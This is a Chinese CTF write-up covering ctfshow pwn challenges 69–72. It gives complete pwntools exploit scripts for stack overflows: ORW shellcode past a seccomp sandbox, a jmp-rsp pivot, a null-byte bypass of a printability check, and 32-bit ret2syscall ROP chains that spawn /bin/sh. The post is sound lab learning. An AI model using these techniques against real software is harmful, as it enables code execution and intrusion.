ctfshow做题笔记—栈溢出—pwn69~pwn72

news2025/3/13 10:00:23

目录

前言

一、pwn69(可以尝试用ORW读flag flag文件位置为/ctfshow_flag)

二、pwn70(可以开始你的个人秀了 flag文件位置为/flag)

三、pwn71(32位的ret2syscall)

四、pwn72

前言

学了一些新的东西,pwn69的文档忘保存了(悲),现写一个,记录一下。


一、pwn69(可以尝试用ORW读flag flag文件位置为/ctfshow_flag)

先看看ORW是什么:
ORW指的是Open-Read-Write技术,是一种利用系统调用读取文件内容(如flag文件)的攻击方法。

ORW通过以下三个系统调用实现:

open:打开目标文件,获取文件描述符。

read:通过文件描述符读取文件内容到缓冲区。

write:将缓冲区的内容写入标准输出。

当攻击者通过漏洞控制程序执行流程后,可以注入或执行类似ORW的代码来读取敏感文件。例如,攻击者可以通过ROP(Return-Oriented Programming)或直接注入汇编代码来实现ORW。

Seccomp(Secure Computing Mode)是 Linux 内核中的一种安全机制,用于限制进程可以调用的系统调用(Syscalls),从而减少潜在的攻击面。

沙盒环境:Seccomp 常用于沙盒环境中,限制程序的权限,防止恶意程序通过高风险系统调用攻击系统。

需要用到一个工具:

seccomp-tools 是一个用于分析和调试 Seccomp 策略的工具集,它可以帮助你检查程序是否启用了 Seccomp 以及其具体的 Seccomp 配置。通过运行 seccomp-tools dump ./pwn,你可以查看目标程序 ./pwn 的 Seccomp 策略。击系统。

在kali中比较好安装:

sudo gem install seccomp-tools

验证:

seccomp-tools --version

shellcode=asm(shellcraft.open("./ctfshow_flag"))
shellcode+=asm(shellcraft.read(3,mmap_ar,0x100))
shellcode+=asm(shellcraft.write(1,mmap_ar,0x100))

ROPgadget可以看到程序中存在一条“jmp rsp”的gadget

rsp是栈顶指针寄存器,可以通过这条指令跳转到当前栈顶处然后执行布置在栈上的shellcode实现ORW

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28296)
mmap_ar=0x123000
jmp_rsp=0x400a01
p.recvuntil("to do\n")

shellcode=asm(shellcraft.open("./ctfshow_flag"))
shellcode+=asm(shellcraft.read(3,mmap_ar,0x100))
shellcode+=asm(shellcraft.write(1,mmap_ar,0x100))

payload = flat([(asm(shellcraft.read(0,mmap_ar,0x100))+asm("mov rax,0x123000; jmp rax")).ljust(0x28,b'a'),jmp_rsp,asm("sub rsp,0x30; jmp rsp")])

p.sendline(payload)
p.sendline(shellcode)
p.interactive()

第一部分:

asm(shellcraft.read(0, mmap_ar, 0x100)):

从标准输入(文件描述符 0)读取最多 0x100 字节的内容到 mmap_ar 指向的内存区域。

asm("mov rax,0x123000; jmp rax"):

将 rax 寄存器设置为 0x123000,然后跳转到该地址。

这里的 0x123000 是 mmap_ar 的地址,用于跳转到攻击者控制的内存区域。

.ljust(0x28, b'a'):

将上述代码填充到 0x28 字节,确保覆盖目标程序的栈空间。

第二部分:

jmp_rsp:

跳转到目标程序中的 jmp rsp 指令,控制程序执行流跳转到 rsp 指向的地址。

第三部分:

asm("sub rsp,0x30; jmp rsp"):

调整 rsp 寄存器的值,使其指向攻击者控制的内存区域,然后跳转到该地址。


二、pwn70(可以开始你的个人秀了 flag文件位置为/flag)

checksec一下:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn70       
[*] '/home/kali/桌面/ctfshoww/pwn70'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
Stripped:   No

哎呀,开了金丝雀。又看不了c语言代码,毁了

puts("    * Hint  : Try use 'ORW' to get flag !                             ");

看来又可以熟悉这个知识了。

首先是看看沙箱的情况:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ seccomp-tools dump ./pwn70
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

和上一道题有些不一样啊。

1.程序只允许在 x86_64 架构下运行。

2.系统调用必须小于 0x40000000,否则拒绝执行。

3.特别地,如果系统调用是 execve(编号为 0x3b),则直接拒绝(KILL

)。

需要注入shellcode来做,虽然有canary但是NX没开,栈还是能执行的。

现在还有一个校验的问题:

signed __int64 __fastcall is_printable(const char *a1)
{
  int i; // [sp+1Ch] [bp-14h]@1

  for ( i = 0; i < strlen(a1); ++i )
  {
    if ( a1[i] <= 31 || a1[i] == 127 )
      return 0LL;
  }
  return 1LL;
}

条件是 a1[i] <= 31 || a1[i] == 127。这意味着:

如果字符的 ASCII 值小于等于 31,或者等于 127,则认为该字符不可打印。

做过pwn66, strlen 的话可以找\x00开头的shellcode。

可以在开头加上\x00 \xc0

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28134)
shellcode=b'\x00\xc0'
shellcode+=asm(shellcraft.cat('flag'))//生成读取flag文件的shellcode
p.recvuntil("Welcome,tell me your name:\n")
p.sendline(shellcode)
p.interactive()


三、pwn71(32位的ret2syscall)

看来又要学习新知识了。

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn71       
[*] '/home/kali/桌面/ctfshoww/pwn71'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
Debuginfo:  Yes

开了NX.

本地执行一次:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ ./pwn71
===============CTFshow--PWN===============
Try to use ret2syscall

先分析一下main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout[0], 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("===============CTFshow--PWN===============");
  puts("Try to use ret2syscall!");
  gets(&v4);
  return 0;
}

最后使用 gets 函数从标准输入读取用户输入,并存储到变量 v4 的地址中。

使用了gets可能会栈溢出。int v4; // [sp+1Ch] [bp-64h]@1

想了一个简单的思路:利用栈溢出漏洞,通过覆盖返回地址,使程序执行系统调用(syscall)。

先来了解一下ret2syscall:

原来ret2syscall(Return to System Call)是一种利用栈溢出漏洞的攻击技术,主要用于绕过某些安全机制(如NX保护)并执行系统调用。

问了问人机(写得挺详细记录一下,免得忘了):

ret2syscall的核心思想是通过控制程序的执行流程,使程序执行系统调用(syscall)指令来获取系统资源或执行特定操作。系统调用是操作系统提供给用户程序的接口,用于请求内核服务。例如,在Linux系统中,execve系统调用可以用来启动一个新的程序(如/bin/sh),从而获取shell。

1.在32位Linux系统中,系统调用通过int 0x80指令触发,需要设置以下寄存器:

  eax:系统调用号(例如,execve的调用号为0xb)

  ebx:第一个参数(例如,/bin/sh的地址)

  ecx:第二个参数(通常为0)

  edx:第三个参数(通常为0)

2.在64位系统中,系统调用通过syscall指令触发,寄存器分配有所不同:

rax:系统调用号(例如,execve的调用号为0x3b)

  rdi:第一个参数

  rsi:第二个参数

  rdx:第三个参数

3. 利用Gadgets控制寄存器

为了设置上述寄存器的值,攻击者需要利用程序中的gadgets(以ret指令结尾的指令序列)。例如:

pop eax ; ret:将栈顶值弹入eax寄存器

pop ebx ; ret:将栈顶值弹入ebx寄存器

攻击者通过构造ROP链(Return-Oriented Programming链),将这些gadgets组合起来,依次设置寄存器的值。

4. 触发系统调用

最后,攻击者将返回地址覆盖为int 0x80(32位)或syscall(64位)的地址,从而触发系统调用。

示例

假设目标程序是一个32位程序,开启了NX保护,但存在栈溢出漏洞。攻击者可以:

找到pop eax ; ret、pop ebx ; ret等gadgets的地址。

在栈中构造如下ROP链:

覆盖返回地址为pop eax ; ret的地址

在栈上放置0xb(execve的调用号)

覆盖返回地址为pop ebx ; ret的地址

在栈上放置/bin/sh字符串的地址

覆盖返回地址为pop ecx ; ret的地址

在栈上放置0

覆盖返回地址为pop edx ; ret的地址

在栈上放置0

覆盖返回地址为int 0x80的地址

接着做题,ctrl+F2找到了/bin/sh:

.rodata:080BE408 00000008 C /bin/sh

那就使用ROPgadget:

 ROPgadget --binary ./pwn71 --only "pop|ret"|grep eax

0x080bb196 : pop eax ; ret

ROPgadget --binary ./pwn71 --only "pop|ret"|grep ebx

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

ROPgadget --binary ./pwn71 --only "int"      

0x08049421 : int 0x80

现在就可以构造ROP链了:

Pad=112*b’a’

eax=0x080bb196

edx_ecx_edx =0x0806eb90

intx80=0x08049421

binsh=0x80BE408

最后是偏移量的问题,用pwndbg调式:

from pwn import *
context(arch="i386",log_level="debug")
p=remote("pwn.challenge.ctf.show",28185)
pad=(0x70)*b'a'
eax=0x080bb196
edx_ecx_edx =0x0806eb90
intx80=0x08049421
binsh=0x80BE408
payload=flat([pad,edx_ecx_edx,0,0,binsh,eax,0xb,intx80])#0,0,binsh是三个参数
p.sendline(payload)
p.interactive()


四、pwn72

继续练习ret2syscall。

还是开了NX保护。

根据上一道题学到的知识,需要找一些东西:

偏移量,直接用pwndbug调试:

offset = 44

然后:

int0x80 = 0x0806F350

ROPgadget --binary ./pwn72 --only "pop|ret"|grep eax

0x080bb2c6 : pop eax ; ret

ROPgadget --binary ./pwn72 --only "pop|ret"|grep ebx

0x0806ecb0 : pop edx ; pop ecx ; pop ebx ; ret

遇到的问题是这道题找不到/bin/sh所以我们可以利用bass段调用read写入。

找bass的地址:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ readelf -S ./pwn72 | grep .bss
  [17] .tbss             NOBITS          080e9f68 0a0f68 000018 00 WAT  0   0  4
  [25] .bss              NOBITS          080eaf80 0a1f80 00136c 00  WA  0   0 32

就用

bass=0x80eaf80

from pwn import *
context(arch="i386",log_level="debug")
p=remote("pwn.challenge.ctf.show",28281)
pad=b'a'*44
eax=0x080bb2c6
edx_ecx_ebx=0x0806ecb0
int0x80 = 0x0806F350
bass=0x80eaf80
binsh=b'/bin/sh\x00'
payload=flat([pad,eax,0x3,edx_ecx_ebx,0x10,bass,0,int0x80,eax,0xb,edx_ecx_ebx,0,0,bass,int0x80])
p.sendline(payload)
p.sendline(binsh)
p.interactive()

解释一下:

1.设置寄存器并调用 sys_read:

eax:地址 0x080bb2c6,用于将 0x3 放入 eax 寄存器(sys_read 的系统调用号)。

edx_ecx_ebx:地址 0x0806ecb0,用于设置 edx、ecx 和 ebx 寄存器。

0x10:读取的字节数(16 字节)。

bass:读取的目标地址(BSS 段地址)。

0:文件描述符(标准输入)。

int0x80:调用 int 0x80,执行 sys_read 系统调用。

2.设置寄存器并调用 sys_execve:

eax:地址 0x080bb2c6,用于将 0xb 放入 eax 寄存器(sys_execve 的系统调用号)。

edx_ecx_ebx:地址 0x0806ecb0,用于设置 edx、ecx 和 ebx 寄存器。

0:argv 和 envp 参数(均为 NULL)。

bass:execve 的第一个参数,指向 /bin/sh 的地址。

int0x80:调用 int 0x80,执行 sys_execve 系统调用。

多次的系统调用。


继续学习中......

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2314230.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

同盾v2 2025版 blackbox , wasm加解密,逆向协议算法生成,小盾安全

声明 本文章中所有内容仅供学习交流&#xff0c;抓包内容、敏感网址、数据接口均已做脱敏处理&#xff0c;严禁用于商业用途和非法用途&#xff0c;否则由此产生的一切后果均与作者无关&#xff0c;若有侵权&#xff0c;请联系我立即删除&#xff01; # 欢迎交流 wjxch1004

c++领域展开第十六幕——STL(vector容器的了解以及模拟实现、迭代器失效问题)超详细!!!!

文章目录 前言一、vector的介绍和使用1.1 vector的介绍1.2 vector的使用1.2.1 vector的定义1.2.2 vector iterator 的使用1.2.3 vector的空间增长问题1.2.4 vector的增删改查 二、vector在 oj 中的使用只出现一次的数删除有序数组中的重复项杨辉三角 总结 前言 在c专栏的上一篇…

ubuntu2404 安装 过程中 手动设置网络

ubuntu2404 安装 过程中 手动设置网络 https://blog.csdn.net/2401_83947353/article/details/138454379 6.1 可以直接Done&#xff08;不配置P&#xff09; 6.2 可以配置ip地址&#xff0c;选择manual 6.2.1 search domains填 6.2.2 search domains不填 6.3 更深层次的…

去北京的前端实习经历

趁现在对这部分还有深刻的感受记忆&#xff0c;赶紧记录下来。因为工作久了会发现真的对以前的事记不起来了。 公司&#xff1a; 北京的实习公司首先有学长学姐在&#xff0c;而且这个公司知名度还挺高的&#xff0c;但是工资比较低&#xff0c;3k左右吧&#xff0c;但是管2顿…

力扣热题 100:动态规划专题经典题解析

系列文章目录 力扣热题 100&#xff1a;哈希专题三道题详细解析(JAVA) 力扣热题 100&#xff1a;双指针专题四道题详细解析(JAVA) 力扣热题 100&#xff1a;滑动窗口专题两道题详细解析&#xff08;JAVA&#xff09; 力扣热题 100&#xff1a;子串专题三道题详细解析(JAVA) 力…

变量赋值汇编

一、核心概念 寄存器&#xff1a;CPU内部的高速存储单元&#xff08;如EAX、EBX、x86中的RAX、ARM中的R0等&#xff09; 内存地址&#xff1a;变量存储在内存中的位置&#xff08;如 0x1000&#xff09; 指令&#xff1a;操作寄存器和内存的命令&#xff08;如 MOV, STR, LDR…

页面白屏出现的原因

&#x1f916; 作者简介&#xff1a;水煮白菜王&#xff0c;一位前端劝退师 &#x1f47b; &#x1f440; 文章专栏&#xff1a; 前端专栏 &#xff0c;记录一下平时在博客写作中&#xff0c;总结出的一些开发技巧和知识归纳总结✍。 感谢支持&#x1f495;&#x1f495;&#…

【大模型统一集成项目】让 AI 聊天更丝滑:WebSocket 实现流式对话!

&#x1f31f; 在这系列文章中&#xff0c;我们将一起探索如何搭建一个支持大模型集成项目 NexLM 的开发过程&#xff0c;从 架构设计 到 代码实战&#xff0c;逐步搭建一个支持 多种大模型&#xff08;GPT-4、DeepSeek 等&#xff09; 的 一站式大模型集成与管理平台&#xff…

【2025】Electron Git Desktop 实战一(上)(架构及首页设计开发)

源代码仓库&#xff1a; Github仓库【electron_git】 Commit &#xff1a; bb40040 Github Desktop 页面分析 本节目标&#xff1a; 1、实现类似Github Desktop的「空仓库」提示页 2、添加本地仓库逻辑编写从 Github Desktop 我们看到 他的 主要页面分为三个区域 Head头部区域…

14 | fastgo 三层架构设计

提示&#xff1a; 所有体系课见专栏&#xff1a;Go 项目开发极速入门实战课&#xff1b; 在实现业务代码之前&#xff0c;还需要先设计一个合理的软件架构。一个好的软件架构不仅可以大大提高项目的迭代速度&#xff0c;还可以降低项目的阅读和维护难度。目前&#xff0c;行业中…

【机器学习-基础知识】统计和贝叶斯推断

1. 概率论基本概念回顾 1. 概率分布 定义: 概率分布(Probability Distribution)指的是随机变量所有可能取值及其对应概率的集合。它描述了一个随机变量可能取的所有值以及每个值被取到的概率。 对于离散型随机变量,使用概率质量函数来描述。对于连续型随机变量,使用概率…

面向对象Demo01

面向对象 什么是面向对象 回顾方法的定义 package oop; ​ import java.io.IOException; ​ public class Demo01 {public static void main(String[] args) {}//public String sayHello() {return "hello, world!";}public void sayHi() {return;}public int max(i…

C++设计模式-抽象工厂模式:从原理、适用场景、使用方法,常见问题和解决方案深度解析

一、模式基本概念 1.1 定义与核心思想 抽象工厂模式&#xff08;Abstract Factory Pattern&#xff09;是创建型设计模式的集大成者&#xff0c;它通过提供统一的接口来创建多个相互关联或依赖的对象族&#xff0c;而无需指定具体类。其核心思想体现在两个维度&#xff1a; …

solana区块链地址生成

solana官网地址&#xff1a;https://solana.com 先引入相关依赖solana/web3.js;bip39;ethereumjs/wallet 生成助记词 const mnemonic bip39.generateMnemonic(); 生成种子 const seed bip39.mnemonicToSeedSync(mnemonic); 生成密钥对 const root hdkey.EthereumHDKey.from…

基于python的升级队列加速决策

a-f大等级是3级 a-c建筑每升1级分别需要8天 d-f建筑每升1级分别需要10天 目前以下建筑队列正在从0级升至1级 建筑A升级需要7天05&#xff1a;16&#xff1a;20 建筑b升级需要06&#xff1a;06&#xff1a;54 建筑c升级需要00&#xff1a;37&#xff1a;00 建筑d升级需要…

Ragflow技术栈分析及二次开发指南

Ragflow是目前团队化部署大模型+RAG的优质方案,不过其仍不适合直接部署使用,本文将从实际使用的角度,对其进行二次开发。 1. Ragflow 存在问题 Ragflow 开源仓库地址:https://github.com/infiniflow/ragflow Ragflow 当前版本: v0.17.0 Ragflow 目前主要存在以下问题: …

1.7 双指针专题:三数之和(medium)

1.题目链接 15. 三数之和 - 力扣&#xff08;LeetCode&#xff09;https://leetcode.cn/problems/3sum/submissions/609626561/ 2.题目描述 给你⼀个整数数组 nums &#xff0c;判断是否存在三元组 [nums[i], nums[j], nums[k]] 满⾜ i ! j、i ! k 且 j ! k &#xff0c;同时…

【JavaEE】Spring Boot配置文件

目录 一、Spring Boot配置文件简介二、properties 配置⽂件说明2.1 properties 基本语法2.2 value("${}")读取配置⽂件 三、yml 配置文件说明3.1 yml 基本格式3.2 yml 配置数据类型 及 读取3.3 yml配置对象及读取ConfigurationProperties(prefix "")3.4 配…

行为模式---策略模式

概念 策略模式是一种行为设计摸是&#xff0c;它的核心思想是将一些列的算法封装成独立的对象&#xff0c;并使它们可以相互替换&#xff0c;通过上下文进行调用。 策略模式通过算法抽象为独立的策略类&#xff0c;客户端可以根据自身需求选择不同的策略类来完成任务、这种方…

Word 小黑第15套

对应大猫16 修改样式集 导航 -查找 第一章标题不显示 再选中文字 点击标题一 修改标题格式 格式 -段落 -换行和分页 勾选与下段同页 添加脚注 &#xff08;脚注默认位于底部 &#xff09;在脚注插入文档属性&#xff1a; -插入 -文档部件 -域 类别选择文档信息&#xff0c;域…